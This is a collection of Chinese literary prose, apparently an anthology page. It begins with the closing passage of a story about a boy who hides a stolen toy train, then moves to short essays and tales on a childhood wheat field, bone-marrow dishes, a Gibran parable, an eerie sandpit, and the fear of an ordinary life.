　　他们是在水里把谭峰抓住的，谭峰想越过镇外的小河逃到对岸去，但他只是会两下狗刨式，到了深水处他就胡乱扑腾起来，他不喊救命，光是在水里扑腾，铁匠赶到河边，把儿子捞上了岸，后来他就拖着湿漉漉的谭峰往家里走，镇上人跟着父子俩往谭峰家里走，谭峰像一根圆木在地上滚动，他努力地朝两边仰起脸，唾骂那些看热闹的人，看你妈个＊，看你妈个＊！

　　正如我所预料的那样，谭峰不肯坦白。他不否认他偷了那辆红色小火车，但就是不肯说出小火车的藏匿之处。我听见了谭铁匠的咒骂声和谭峰的一次胜过一次的尖叫，铁匠对儿子的教育总是由溺爱和毒打交织而成的。我听见铁匠突然发出一声山崩地裂的怒吼，哪只手偷的东西？左手还是右手？话音未落谭峰的母亲和姐姐妹妹一齐哭叫起来，当时的气氛令人恐怖，我知道会有什么可怕的事情发生，我不愿意错过目睹这件事情的机会，因此我趁母亲洗菜的时候一个箭步冲出了家门。

　　我恰好看见了铁匠残害他儿子的那可怕的一幕，看见他把谭峰的左手摁在一块烧得火红的烙铁上，也是在这个瞬间，我记得谭峰向我投来匆匆的一瞥，那么惊愕那么绝望的一瞥，就像第二块火红的烙铁，烫得我浑身冒出了白烟。

　　我说得一点也不夸张，我的心也被烫出了一个洞。我没听见谭峰响彻小镇上空的那声惨叫，我掉头就跑，似乎害怕失去了左手手指的谭峰会来追赶我。我怀着恐惧和负罪之心疯狂地跑着，不知怎么就跑到了五保户老张的猪圈里。说起来真是奇怪，在那样的情况下我仍然没有忘记那辆红色的小火车，我在柴草堆上坐了一会儿，下定决心翻开了谭峰的宝库。我趁着日落时最后的那道光线仔细搜寻着，让我惊讶的是那辆红色的小火车不见了，柴草垛已经散了架，我还是没有发现那辆红色的小火车。

　　谭峰并不像我想象的那么愚笨，他把小火车转移了。我断定他是在事情败露以后转移了小火车，也许当他姐姐妹妹满镇子叫喊他的时候，他把小火车藏到了更为隐秘的地方。我站在老张的猪圈里，突然意识到谭峰对我其实是有所戒备的，也许他早就想到有一天我会告密，也许他还有另一个室库，想到这些我有一种莫名的失落和悲伤。

　　你能想象事情过后谭家的混乱吧，后来谭峰昏过去了，是铁匠一直在呜呜地哭，他抱着儿子一边哭着一边满街寻找镇上的拖拉机手。后来铁匠夫妇都坐上了拖拉机，把谭峰送到三十里外的地区医院去了。

　　我知道那几天谭峰会在极度的疼痛中度过，而我的日子其实也很难熬。一方面是由于我母亲对我的惩罚，她不准我出门，她认为谭峰的事情有我的一半责任，所以她要求我像她的学生那样，写出一份深刻的检讨。你想想我那时候才八九岁，能写出什么言之有物的检讨呢，我在一本作业本上写写画画的，不知不觉地画了好几辆小火车在纸上，画了就扔，扔了脑子里还在想那辆红色的小火车。没有任何办法，我没有办法抵御小火车对我产生的魔力，我伏在桌子上，耳朵里总是听见隐隐约约的金属声，那是小火车的轮子与地面磨擦时发出的声音。我的眼前总是出现四节车厢的十六个轮子，还有火车头上端的那个烟囱，还有那个小巧的脖子上挽了一块毛巾的司机。

　　让我违抗母亲命令的是一种灼热的欲望，我迫切地想找到那辆失踪的红色小火车。母亲把门反锁了，我从窗子里跳出去，怀着渴望在小镇的街道上走着。我没有目标，我只是盲目地寻找着目标。是八月的一天，天气很闷热，镇上的孩子们聚集在河边，他们或者在水中玩水，或者在岸上做着无聊的官兵捉强盗的游戏，我不想玩水，也不想做官兵做强盗，我只想着那辆红色的铁皮小火车。走出镇上唯一的麻石铺的小街，我看见了玉米地里那座废弃的砖窑。这一定是人们所说的灵感，我突然想起来谭峰曾经把老叶家的几只小鸡藏到砖窑里，砖窑会不会是他的第二个宝库呢，我这么想着无端地紧张起来，我搬开堵着砖窑门的石头，钻了进去，我看见一些新鲜的玉米杆子堆在一起，就用脚踢了一下，你猜到了？你猜到了。事情就是这么简单，不是说苍天不负有心人吗？我听见了一种清脆的回声，我的心几乎要停止跳动了，苍天不负有心人呀，就这么简单，我在砖窑里找到了成都女孩的红色小火车。

　　你们以为我会拿着小火车去卫生院找何医生？不，要是那样也就不会有以后的故事了。坦率地说我根本就没想物归原主，我当时只是发愁怎样把小火车带回家，不让任何人发现。我想出了一个办法，把汗衫脱下来，又掰了一堆玉米，我用汗衫把玉米连同小火车包在一起，做成一个包裹，提着它慌慌张张地往家里走。我从来不像镇上其他的男孩一样光着上身，主要是母亲不允许，所以我走在小街上时总觉得所有人都在朝我看，我很慌张，确实有人注意到了我的异常，我听见一个妇女对另一个妇女说，热死人的天，连李老师的孩子都光膀子啦。另一个妇女却注意到了我手中的包裹，她说，这孩子手里拿的什么东西，不会是偷的吧？我吓了一跳，幸亏我母亲在镇上享有美好的声誉，那个多嘴的妇女立刻受到了同伴的抢白，她说，你乱嚼什么舌头？李老师的孩子怎么会去偷东西？

　　我的运气不错，母亲不在家，所以我为小火车找到了安身之处，不止是床底下的杂物箱，还有两处作为机动和临时地点，一处是我父亲留在家里的军用棉大衣，还有一处是厨房里闲置不用的高压锅。我藏好了小火车，一直坐立不安。我发现了一个问题，就是那把拧发条的钥匙，谭峰肯定是把它藏在身边了。我得不到钥匙，就无法让小火车跑起来，对于我来说，一辆不能运动的小火车起码失去了一大半的价值。

　　我后来的烦恼就是来自这把钥匙。我根本没考虑过谭峰回家以后如何面对他的问题。我每天都在尝试自己制作那把钥匙，有一天我独自在家里忙乎，在磨刀石上磨一把挂锁的钥匙，门突然被谁踢开了，进来的就是谭峰。谭峰站在我的面前，气势汹汹地瞪着我，他说，你这个叛徒，内奸，特务，反革命，四类分子！我一下子乱了方寸，我把挂锁钥匙紧紧地抓在手心里，听凭谭峰用他掌握的各种词汇辱骂我，我看着他的那只被白布包得严严实实的左手，一种负罪感使我失去了还击的勇气。我保持沉默，我在想谭峰还不知道我去过砖窑，我在想他会不会猜到是我去砖窑拿走了小火车。谭峰没有动手，可能他知道自己只用一只手会吃亏，所以他光是骂，骂了一会儿他觉得没意思了，就问我，你在干什么？我还是不说话，他大概觉得自己过分了，于是他把那只左手伸过来让我参观，他说，你知道绑了多少纱布，整整一卷呢！我不说话。谭峰就自己研究手上的纱布，看了一会儿他忽然得意地笑起来，说，我把我老子骗了，我哪儿是用左手拿东西，是右手嘛。他向我提出了一个问题，喂，你说烫左手合算还是烫右手合算？这次我说话了，我说，都不合算，不烫才合算。他愣了一下，对我做了个轻蔑的动作，傻瓜，你懂个屁，右手比左手重要多了，吃饭干活都要用右手，你懂不懂？

　　谭峰回家后我们不再在一起玩了，我母亲禁止，铁匠夫妇也不准他和我玩，他们现在都把我看成一个狡猾的孩子。我不在乎他们对我的看法，我常常留心他们家的动静，是因为我急于知道他是否去过砖窑，是否会怀疑我拿了那辆红色小火车。

　　那一天终于来到了。已经开学了，我被谭峰堵在学校门口，谭峰的模样显得失魂落魄的，他用一种近乎乞求的眼神盯着我，他说，你拿没拿？我对这种场景已经有所准备，你不能想象我当时有多么的冷静和世故，我说，拿什么呀？谭峰轻轻地说，火车。我说，什么火车？你偷的那辆火车？谭峰说，不见了，我把它藏得好好的，怎么会不见了呢？我告诫自己要冷静，不能提砖窑两个字，于是我假充好人地提醒他，你不是放在老张家的猪圈里了吗？谭峰朝我翻了个白眼，随后就不再问我什么了，他开始向操场倒退着走过去，他的眼睛仍然迷惑地盯着我，我也直视着他的眼睛，随他向操场走去。你肯定不能相信我当时的表现，一个八九岁的孩子，会有如此镇定成熟的气派。这一切并非我的天性，完全是因为那辆红色的小火车。

　　我和谭峰就这样开始分道扬镳，我们是邻居，但后来双方碰了头就有一方会扭过脸去，这一切在我是由于一个沉重的秘密，在谭峰却是一种创伤造成的。我相信谭峰的左手包括他的内心都遭受了这种创伤，我得承认，那是我造成的。我记得很清楚，大概是在几个月以后，谭峰在门口刷牙，我听见他在叫我的名字，等我跑出去，他还在叫我的名字，但他并不朝我看一眼，他在自言自语，他说，郁勇，郁勇，我认识你。我当时一下子就闹了个大红脸，我相信他掌握了我的秘密，让我纳闷的是自从谭峰从医院回家，我一直把小火车藏在高压锅里，连我母亲都未察觉，谭峰怎么会知道？难道他也是凭借灵感得知这个秘密吗？

　　说起来可笑，我把小火车弄到手以后很少有机会摆弄它，更别提那种看着火车在地上跑的快乐了，我只是在确保安全的情况下偶尔打开高压锅的盖子，看它几眼，仅仅是看几眼。你们笑什么？做贼心虚？是做贼心虚的感觉，不，比这个更痛苦更复杂，我有几次做梦梦见小火车，总是梦见小火车拉响汽笛，梦见谭峰和镇上的孩子们迎着汽笛的声音跑来，我就被吓醒了，我知道梦中的汽笛来自五里地以外的宝成铁路，但我总是被它吓出一身冷汗。你们问我为什么不把火车还给谭峰？错了，按理要还也该还给成都女孩，我曾经有过这个念头，有一天我都走到卫生院门口了，我看见那个女孩在院子里跳橡皮筋，快快活活的，她早就忘了小火车的事了。我想既然她忘了我还有什么必要做这件好事呢？我就没搭理她，我还学着谭峰的口气骂了她一句，猪脑壳。

　　我很坏？是的，我小时候就坏，就知道侵吞赃物了。问题其实不在这里，问题在于我想有这么一个秘密，你们替我想想，我怎么肯把它交出去？然后很快就到了寒假，就是那年寒假，我父亲从部队退役到了武汉，我们一家要从小镇迁到武汉去了。这个消息使我异常兴奋，不仅因为武汉是个大城市，也因为我有了机会彻底地摆脱关于小火车的苦恼，我天天盼望着离开小镇的日子，盼望离开谭峰离开这个小镇。

　　离开那天小镇下着霏霏冷雨，我们一家人在汽车站等候着长途汽车。我看见一个人的脑袋在候车室的窗子外面闪了一下，又闪了一下。那是谭峰，我知道是他，但我不理他。是我母亲让我去向他道别，她说，是谭峰要跟你告别，你们以前还是好朋友，你怎么能不理他？我只好向谭峰走过去，谭峰的衣服都被雨点打湿了，他用那只残缺的手抹着头发上的水滴，他的目光躲躲闪闪的，好像想说什么，却始终不开口，我不耐烦了，我转过身要走，一只手却被拉住了，我感觉到他把什么东西塞在了我的手里，然后就飞快地跑了。

　　你们都猜到了，是那把钥匙，红色小火车的发条钥匙！我记得钥匙湿漉漉的，不知是他的手汗还是雨水。我感到很意外，我没想到会有这么一个结局，直到现在我对这个结局仍然感到意外。有谁知道谭峰是怎么想的吗？

　　朋友们中间没人愿意回答郁勇的问题，他们沉默了一会儿，有人问郁勇，你那辆小火车现在还在吗？郁勇说，早就不在了。到武汉的第三天，我父母就把它装在盒子里寄给何医生了。又有人愚蠢地说，那多可惜。郁勇笑起来，他说，是有点可惜，可你怎么不替我父母想想，他们怎么会愿意窝藏一件赃物？他们怎么会让我变成一个小偷？

麦田里

余华

　　我在南方长大成人，一年四季、一日三餐的食物都是大米，由于很少吃包子和饺子，这类食物就经常和节日有点关系了。小时候，当我看到做外科医生的父亲手里提着一块猪肉，捧着一袋面粉走回家时，我就知道这一天是什么日子了。在我小时候有很多节日，五月一日是劳动节，六月一日是儿童节，七月一日是建党节，八月一日是建军节，十月一日是国庆节，还有元旦和春节，因为我父亲是北方人，这些日子我就能吃到包子或者饺子。

　　那时候，我家在一个名叫武原的小镇上，我在窗前可以看到一片片的稻田，同时也能够看到一小片的麦田，它处在稻田的包围中。这是我小时候见到的绝无仅有的一片麦田，也是我最热爱的地方。我曾经在这片麦田的中央做过一张床，是将正在生长中的麦子踩倒后做成的，夏天的时候，我时常独自一人躺在那里。我没有在稻田的中央做一张床是因为稻田里有水，就是没有水也是泥泞不堪，而麦田的地上总是干的。

　　那地方同时也成了我躲避父亲追打的避风港。不知为何，我经常在午饭前让父亲生气，当我看到他举起拳头时，立刻夺门而逃，跑到我的麦田。躺在麦子之上，忍受着饥饿去想象那些美味无比的包子和饺子。那些咬一口就会流出肉汁的包子和饺子，就是我身旁的麦子做成的。这些我平时很少能够吃到的美食，在我饥饿时的想象里成了信手拈来的食物。而对不远处的稻田里的稻子，我知道它们会成为热气腾腾的米饭，可是虽然我饥肠辘辘，对它们仍然不屑一顾。

　　我一直那么躺着，并且会渐入梦乡。等我睡一觉醒来时，经常是傍晚了，我就会听到父亲的喊叫，父亲在到处寻找我，他喊叫的声音随着天色逐渐暗淡下来，变得越来越焦急。这时候我才偷偷爬出麦田，站在田埂上放声大哭，让父亲听到我和看到我。然后等父亲走到我身旁，我确定他不再生气后，就会伤心欲绝地提出要求，我说我不想吃米饭，想吃包子。

　　父亲每一次都满足了我的要求，他会让我爬到他的背上，任凭我把眼泪流进他的脖子里。当饥饿使我胃里有一种空洞的疼痛时，父亲将我背到了镇上的点心店，让我饱尝包子或者饺子的美味。

　　后来父亲发现了我的藏身之处。那一次还没有到傍晚，他在田间的小路上走来走去，怒气冲冲地喊叫着我的名字，威胁我，说如果我再不出来的话，他就会永远不让我回家。当时我就躺在麦田里，我一点都不害怕，我知道父亲不会发现我。虽然他那时候怒气十足，可是等到天色黑下来以后，他就会怒气全消，就会焦急不安，然后就会带我去吃上一顿包子。

　　倒霉的是，一个农民从我父亲身旁走过去了，他在田埂上看到麦田里有一块麦子倒下了，就在嘴里抱怨着麦田里的麦子被一个王八蛋给踩倒了。他骂骂咧咧地走过去，但他的话提醒了我的父亲，这位外科医生立刻知道他的儿子身藏何处了。于是我被父亲从麦田里揪了出来，那时候还是下午，天还没有黑，父亲也还怒火未消，所以，那一次我没有像往常一样，因祸得福地饱尝一顿包子，而是饱尝了皮肉之苦。

赞美骨髓

蔡澜

　　小时候吃海南鸡饭，一碟之中，最好吃的部分并非鸡腿，而是斩断了骨头中的骨髓，颜色鲜红，吸啜之下，一小股美味的肥膏入口，仙人食物也。当今叫海南鸡饭，皆是去骨的。无他，骨髓已变得漆黑，别说胆固醇了，颜色已让人反胃。现杀的鸡，和雪藏的，最大的不同就是骨髓变黑，一看就分辨出来。

　　骨髓的营养，包括了肥油、铁质、磷和维他命 A，还有微量的 Thiamin 和 Niacin，都是对人体有益的。在早年，一剂最古老的英国药方，是用骨髓加了番红花打匀，直到像牛油那样澄黄，给营养不良的小孩吃。

　　在当今营养过剩的年代，一听到骨髓，就大叫胆固醇！怕怕，没人敢去碰。好在有这些人，肉贩都把骨头和骨髓免费赠送，让老饕得益。

　　凡是熬汤，少了骨头就不那么甜，味精除了用海藻制造之外，就是由骨头提炼出来的。

　　有次去匈牙利，喝到最鲜美的汤，用大量的牛腿骨和肉煮出。肉剁成丸，加了椰菜。以两个碟子上桌，一碟肉丸和蔬菜，一碟全是骨头。有七八管左右吧，抓起一根就那么吸，满嘴的骨髓。一连多枝骨，吃个过瘾，怕什么胆固醇？有些在骨头深处的吸不出，餐厅供应了一支特制的银匙，可以仔细挖出。这种匙子分长短两支，配合骨头的长度，做得非常精美，可在古董店买到。当今已变成了收藏品，有拍卖价值。

　　英国名店 ST. John 的招牌菜，也就是烤骨髓（Roasted Bone Marrow）。做法是这样的：先把牛大腿骨斩断，用水泡个十二至二十四小时，加盐，每回换水四至六次，令血液完全清除。烤炉调到 450 度或 230 度，把骨头水份烤干，打直排在碟中，再烤个十五至二十五分钟，即成。

　　起初炮制，也许会弄到骨髓完全跑掉，全碟是油，但做几次就上手。再怕做不好，入烤箱之前用面包糠把骨管塞住，骨髓便不会流出来。如果没有烤箱，另一种做法是用滚水炮制，煮个十五分钟即成，但较容易失败。

　　骨髓太腻，要用西洋芫荽中和。芫荽沙律是用扁叶芫荽，加芹菜、西洋小红葱，淋橄榄油、海盐和胡椒拌成，做法甚简单。把骨髓挖出来，和沙律一齐吃，或者涂在烤面包上面，但建议就那么吞进肚中，除了盐，什么都不加。

　　在法国普罗旺斯吃牛扒，也不像美国人那么没有文化，他们的牛扒薄薄一片，淋上各种酱汁。牛扒旁边有烤热的骨髓，吃一口肉，一口骨髓，才没那么单调。

　　意大利的名菜叫 Osso Buco，前者是骨，后者是洞的意思。一定带有骨髓，最经典的是用茴香叶和血橙酱来炮制，叫 Fennel & Blood Orange Sauce。

　　制法是先把小牛的大腿斩下最肥大的那块来，用绳子绑住，加茴香叶和刨下橙皮，放进烤箱烤四十五分钟，如果怕骨髓流走，可以在骨头下部塞一点剁碎的茴香叶。

　　羊的骨髓，味道更为纤细，带着羊肉独特的香气。最好是取羊颈。羊颈斩成八块，加洋葱、椰菜或其他香草，撒上海盐，烤也行，焗也行，羊颈肉最柔软，吸骨髓更是一绝。一样用羊颈，加上盐渍的小江鱼（Ahchovies）来炮制，更是惹味。和中国人的概念：“羊”加“鱼”得一个“鲜”，是异曲同工的。

　　印度人做的羊骨髓，是把整条羊腿熬了汤，用刀把肉刮下，剩下的骨头和骨边的肉拿去炒咖喱。咖喱是红色的，吸啜骨髓时吮得嘴边通红，像个吸血鬼。这种煮法在印度已难找，新加坡卖羊肉汤的小贩会做给你吃。

　　猪骨髓也好吃，但没有猪脑那么美味。点心之中，有牛骨髓或猪骨髓的做法，用豆豉蒸熟来吃，但总不及猪骨汤的。把骨头熬成浓汤，最后用吸管吸出脊椎骨中的髓。

　　鱼头中的鱼云和那啫喱状的部分，都应该属于骨髓的一部分，洋人都不懂其味，整个鱼头扔之。鱼死了不会摇头，但我们看到摇个不已。大鱼，如金枪，骨髓就很多，日本人不欣赏，中国台湾南部的东巷地方，餐厅里有一道鱼骨髓汤，是用当归炖出来，嚼脊椎旁的软骨，吸骨中的髓，美味非凡。

　　家中请客时，饭前的下酒菜，若用橄榄、薯仔片或花生，就非常单调，没有什么想象力。有什么比烤骨髓送酒更好的？做法很简单，到你相熟的冻肉店，把所有的牛腿骨都买下，只用关节处的头尾，一根骨锯两端，像两个杯子，关节处的骨头变成了杯底。这一来，骨髓一定不会流走，把骨杯整齐地排列在大碟中，撒上海盐，放进微波炉叮一叮。最多三至五分钟，一定焗得熟透。拿出来用古董银匙奉客，大家都会赞美你是一个一流的主人。

病人

纪伯伦

　　我在精神病院的花园里碰见了一个年轻人，他看上去面色苍白，人很可爱，富有奇想。我在他旁边的长凳上坐下，我问：“你为什么会在这儿呢？”

　　他惊讶地望着我说：“这是一个不礼貌的问题，不过我会回答你。我的父亲想把我变成他的复制品，我的叔叔也指望我跟他一样。我的母亲希望我像她那大名鼎鼎的父亲，而我的姐姐以为她那航海的丈夫是个十全十美的榜样，要我学他。我的哥哥想让我跟他一样，做个好的运动员。”

　　“我的老师依然如此，要我成为哲学老师、音乐老师、逻辑学老师，他们也都很坚决，每个人不过是要我成为他们镜子里的影子。”

　　“因此，我来到了这个地方。我发现在这儿我的神志更正常点。至少，我能做回我自己。”

　　突然他转过来对我说：“告诉我，你也是被教育和忠告赶到这个地方的吗？”

　　我回答道：“不，我只是个访客。”

　　然后他回答道：“噢，你是住在精神病院墙那边的病人。”

往日夕阳下的公园里

乙一

　　上小学的时候，我家附近有一个很小的公园。公园的四周被高层建筑包围着，一到傍晚，公园的周围就不再有汽车声和人的嘈杂了。剩下的只是一片宁静的空间，或许地上还会掉着一只小孩穿的鞋。这里的公园就是这样一个地方。

　　到了吃晚饭的时候，跟我一起来公园玩的伙伴也回家了，可是我还得继续在公园消磨时间，一直等到父母回来。

　　我一个人玩腻了秋千之后，接着鬼使神差般地跑到沙地上去玩。这个公园的一角有一片沙地，但平时孩子们都痴迷于秋千和滑梯，这片沙地总是被人遗忘在角落里。

　　傍晚的时候，阳光从楼房之间的缝隙照进来，无声地把世界染成一片绯红。我一个人默默地在沙地上玩，连说话的人都没有。那天沙地上有一个被人遗忘了的黄色塑料桶。我脱下鞋，往自己的脚上堆沙子。沙子凉凉的，细小的沙粒从脚趾间漏下去的感觉非常舒服。

　　我也经常把手深深地插进沙子里，因为我想看看沙子到底有多深。我把胳膊竖直地插到沙子里，结果还没到底，最后我的整个肩膀都进到沙子里了。我把这个情况告诉爸爸，但是他却不相信，他说：“沙地也是有底的，不可能那么深。”

　　我觉得爸爸错了，现在我的胳膊就插在沙地里，而且我试了好几次，都能插进去。

　　我都不记得那是第几次了。长在公园一角的树在夕阳中垂下影子，看起来就像是影画。那时候我的右胳膊直到肩膀都插在沙子里，突然我的指尖碰到了什么东西。

　　似乎沙子里埋了什么东西。那个东西摸起来很软，很凉。我为了看看到底是什么，拼命地把胳膊往底下伸。等我的中指前端到了可以勉强碰到那个东西的深度时，我摸到了一个柔软而有弹性的东西。我想抓住它把它拽出来可是怎么也够不到。而且我感觉有样东西缠到了我的手指上。

　　我把胳膊拿出来一看，竟然是长长的头发。我的手指上缠了好几根头发，虽然头发被沙子弄脏了，不过我能认出来这是女孩子的头发。

　　我又一次把胳膊伸到沙子里，想摸一摸埋在里面的东西。但是我这次再怎么把胳膊伸进去，指尖都没碰到任何东西。我感觉好遗憾。

　　在一片红色的视野中，包围在公园四周的高楼里每扇窗户都是关着的，似乎形成了一堵巨大的墙，把我和沙地圈在了里面。

　　我随意地把右手放到沙子里，这次好像碰到了什么东西。那种感觉就像是鱼用它的嘴唇夹你。

　　之后沙子中有什么抓住了我的手腕。而且力气很大，我的手腕被紧紧地抓住了，我想把胳膊缩回来，但右手好像被定住了，动都动不了。四周没有一个人，即使喊救命也只会在公园里形成回声，因为公园的四周都是建筑。

　　我在沙子里握紧的拳头被一股力量强行掰开了，然后手掌心触摸到了一个小小的手指。那个手指在我的掌心有规则的运动着，好像在写什么字。

　　“请把我从这里放出去。”

　　沙子里的人在我的掌心上写了这样的文字。于是我把地面上的左胳膊也插进沙子的深处，用指甲在抓着我右手腕的指甲上写道：

　　“不行。”

　　之后沙子里的人好像很遗憾似的，松开了我的右手腕。我把两只胳膊从沙子里拔出来，然后回家了。在那之后我就再也没靠近过那片沙地了。后来公园被拆毁了，要在那上面建公寓。我去看了看那片沙地，结果发现它的深度根本不够埋下什么东西。

每一个女人都漂亮

佚名

　　一个男孩问他的妈妈：“你为什么要哭呢？”

　　妈妈说：“因为我是女人啊。”

　　男孩说：“我不懂。”

　　他妈妈抱起他说：“你永远不会懂的。”

　　后来小男孩就问他爸爸：“妈妈为什么毫无理由地哭呢？”

　　“所有女人都这样。”他爸爸回答。

　　小男孩长成了一个男人，他仍然好奇女人为什么哭泣。

　　最后，他打电话给上帝；当上帝拿起电话时，他问道：“上帝，女人为什么那么容易哭泣呢？”

　　上帝回答说：“当我创造女人时，让她很特别。我使她的肩膀能挑起整个世界的重担；并且，又柔情似水。”

　　“我让她的内心很坚强，能够承受分娩的痛苦和忍受自己孩子多次的拒绝。”

　　“我赋予她耐心使她在别人放弃的时候继续坚持，并且无怨无悔地照顾自己的家人渡过疾病和疲劳。”

　　“我赋予她在任何情况下都会爱孩子的感情，即使她的孩子伤害了她。”

　　“我赋予她包容她丈夫过错的坚强，并用他的勒骨塑成她来保护他的心。”

　　“我赋予她智慧让她知道一个好丈夫是绝不会伤害他的妻子的，但有时我也会考验她支持自己丈夫的决心和坚强。”

　　“最后，我让她可以流泪，只要她愿意。这是她所独有的。”

　　“你看，女人的漂亮不是因为她穿的衣服、她保持的体型或者她梳头的方式。”

　　“女人的漂亮必须从她的眼睛中去看，因为那是她心灵的窗户和爱居住的地方。”

　　“每一个女人都漂亮。”

隐藏的美

卢尔斯

　　平凡的东西，运用得恰当，就会美丽。

　　有一年圣诞节我收到一件不平凡的礼物——一块手镜大小的蓝色塑片，里面嵌着不规则的绿、蓝、褪色云母片，和有些类似鱼儿轮廓的东西。它看起来没有任何用途，也不美丽，我道了谢就把它束之高阁而忘了。

　　有一天因为需要腾出空间，我拿下了那个盒子，因而再看了上眼我的礼物，我注意到在一端有个钩子，盒底上印着一项说明：挂在向阳的窗口。

　　我走到厨房里，将这件礼物挂在几乎终日有阳光倾泻进来的一扇窗口上。令我大吃一惊的是，霎时五光十色涌进了我的厨房，透过海蓝色椭圆形辉映着，随着阳光的移动，这小小的海底世界由碧绿色转为深蓝色，再转为曙光的紫罗兰色，带着潮汐起伏的无穷魔力与韵味，谁也没想到在我的厨房窗口，挂着这么一块塑片，通往一个陈年隔代、微光闪烁的海底世界。

　　在圣诞节那天我没有发现那种美，因为我没有能够明白，一件看起来相当平凡的东西，只要恰当地运用它，就会美丽非凡。

　　我的鱼儿一直挂在窗口，它每天提醒我花点时间去发掘人们与礼物隐藏的内在美。

为什么我们对平凡的人生深怀恐惧？

梁晓声

　　“如果在三十岁以前，最迟在三十五岁以前，我还不能使自己脱离平凡，那么我就自杀。”

　　“可什么又是不平凡呢？”

　　“比如所有那些成功人士。”

　　“具体说来。”

　　“就是，起码要有自己的房、自己的车，起码要成为有一定社会地位的人吧？还起码要有一笔数目可观的存款吧？”

　　“要有什么样的房，要有什么样的车？在你看来，多少存款算数目可观呢？”

　　“这，我还没认真想过……”

　　以上，是我和一名大一男生的对话。那是一所较著名的大学，我被邀讲座。对话是在五六百人之间公开进行的。我觉得，他的话代表了不少学子的人生志向。

　　我已经忘记了我当时是怎么回答的。然此后我常思考一个人的平凡或不平凡，却是真的。

　　平凡即普通。平凡的人即平民。《新华词典》特别在括号内加注——泛指区别于贵族和特权阶层的人。

　　做一个平凡的人真的那么令人沮丧么？倘注定一生平凡，真的毋宁三十五岁以前自杀么？

　　我明白那大一男生的话只不过意味着一种“往高处走”的愿望，虽说得郑重，其实听的人倒是不必太认真的。但我既思考了，于是觉出了我们这个社会，我们这个时代，近十年来，一直所呈现着的种种文化倾向的流弊，那就是——在中国还只不过是一个发展中国家的现阶段；在普遍之中国人还不能真正过上小康生活的情况下，中国的当代文化，未免过分“热忱”地兜售所谓“不平凡”的人生的招贴画了，这种宣扬尤其广告兜售几乎随处可见。

　　而最终，所谓不平凡的人的人生质量，在如此这般的文化那儿，差不多又总是被归结到如下几点——住着什么样的房子，开着什么样的车子，有着多少资产，于是社会给以怎样的敬意和地位；于是，倘是男人，便娶了怎样怎样的女人……

　　二三十年代的中国，也很盛行过同样性质的文化倾向，体现于男人，那时叫“五子登科”，即房子、车子、位子、票子、女子。一个男人如果都追求到了，似乎就摆脱平凡了。同样年代的西方的文化，也曾呈现过类似的文化倾向。区别乃是，在他们的文化那儿，是花边，是文化的副产品；而在我们这儿，在七八十年后的今天，却仿佛的渐成文化的主流。这一种文化理念的反复宣扬，折射着一种耐人寻味的逻辑——谁终于摆脱平凡了，谁理所当然地是当代英雄？谁依然平凡着甚至注定一生平凡，谁是狗熊。并且，每有俨然是以代表文化的文化人和思想特别“与时俱进”似的知识分子，话时话外地帮衬着造势，暗示出更其伤害平凡人的一种逻辑，那就是——个时事造英雄的时代已然到来，多好的时代！许许多多的人不是已经争先恐后地不平凡起来了么？你居然还平凡着，你不是狗熊又是什么呢？

　　一点儿也不夸大其词地说，此种文化倾向，是一种文化的反动倾向。和尼采的所谓“超人哲学”的疯话一样，是漠视、甚至鄙视和辱谩平凡人之社会地位以及人生意义的文化倾向。是反众生的。是与文化的最基本社会作用相悖的。是对于社会和时代的人文成分结构具有破坏性的。在这样的文化背景下成长起来的中国下一代，如果他们普遍认为最远三十五岁以前不能摆脱平凡便莫如死掉算了，那是毫不奇怪的。

　　人类社会的一个真相是，而且必然永远是一牢固地将普遍的平凡的人们的社会地位确立在第一位置，不允许任何意识之形态动摇它的第一位置。更不允许它的第一位置被颠覆。这乃是古今中外的文化的不二立场。像普遍的平凡的人们的社会地位的第一位置一样神圣。当然，这里所指的，是那种极其清醒的、冷静的、客观的、实事求是的、能够在任何时代都“锁定”人类社会真相的文化；而不是那种随波逐流的、嫌贫爱富的、每被金钱的作用左右得晕头转向的文化。那种文化只不过是文化的泡沫。像制糖厂的糖浆池里泛起的糖浆沫。造假的人往往将其收集了浇在模子里，于是“生产”出以假乱真的“野蜂窝”。

　　文化的“野蜂窝”比街头巷尾地摊上卖的“野蜂窝”更是对人有害的东西。后者只不过使人腹泻，而前者紊乱社会的神经。

　　中国古代，称平凡的人们亦即普通的人们为“元元”；佛教中形容为“芸芸众生”；在文人那儿叫“苍生”；在野史中叫“百姓”；在正史中叫“人民”，而相对于宪法叫“公民”。没有平凡的亦即普通的人们的承认，任何一国的任何宪法没有任何意义。“公民”一词将因失去了平民成分而成为荒诞可笑之词。

　　中国古代的文化和古代的思想家们，关注着体恤“元元”们的记载举不胜举。

　　比如《诗经·大雅·民劳》中云：“民亦劳止，汔可小康。”

　　意思是老百姓太辛苦了，应该努力使他们过上小康的生活。

　　比如《尚书·五子之歌》中云：“民为邦本，本固邦宁。”

　　意思是如果不解决好“元元”们的生存现状，国将不国。

　　而孟子干脆说：“民为贵，社稷次之，君为轻。”

　　而《三国志。吴书》中进一步强调：“财经民生，强赖民力，威恃民势，福由民殖，德俟民茂，义以民行。”民者——百姓也；“芸芸”也；“苍生”也；“元元”也；平凡而普通者们是也。

　　怎么，到了今天，在“改革开放”的中国，在民们的某些下一代那儿，不畏死，而畏“平凡”了呢？

　　由是，我联想到了曾与一位“另类”同行的交谈。

　　我问他是怎么走上文学道路的？

　　答曰：“为了出人头地。哪怕只比平凡的人们不平凡那么一点点，而文学之路是我惟一的途径。”

　　见我怔愣，又说：“在中国，当普通百姓实在太难。”

　　屈指算来，十几年前的事了。十几年前，我认为，正像他说的那样，平凡的中国人平凡是平凡着，却十之七八平凡又迷惘着。这乃是民们的某些下一代不畏死而畏平凡的症结。

　　于是，我联想到了曾与一位美国朋友的交谈。

　　她问我：“近年到中国，一次更加比一次感觉到，你们中国人心里好像都暗怕着什么。那是什么？”

　　我说：“也许大家心里都在怕看一种平凡的东西。”

　　她追问：“究竟是什么？”

　　我说：“就是平凡之人的人生本身。”

　　她惊讶地说：“太不可理解了，我们大多数美国人可倒是都挺愿意做平凡人，过平凡的日子，走完平凡的一生的。你们中国人真的认为平凡不好到应该与可怕的东西归在一起么？”

　　我不禁长叹了一口气。

